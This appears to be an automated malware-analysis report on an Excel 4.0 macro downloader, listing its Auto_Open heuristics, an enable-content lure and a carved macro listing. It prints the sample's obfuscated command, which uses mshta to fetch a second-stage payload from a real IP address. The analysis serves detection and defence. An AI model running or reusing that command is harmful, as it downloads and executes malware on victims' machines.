Malware Insights
The sample contains Excel 4.0 macros with an Auto_Open entry, indicating automatic execution upon opening. The macro defines a string "SSDGO" which reconstructs to the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html'. This command is designed to download a second-stage payload from the specified URL. The document body explicitly instructs the user to "Enable Editing" and "Enable Content", a common lure to bypass macro security. The presence of the Auto_Open entry and the command execution strongly suggest this is a downloader.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txtc5aad075e50422dc1116ac70939d41e0371d46cf42a38ecf99b5202042a44db6 |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 1374 bytes |
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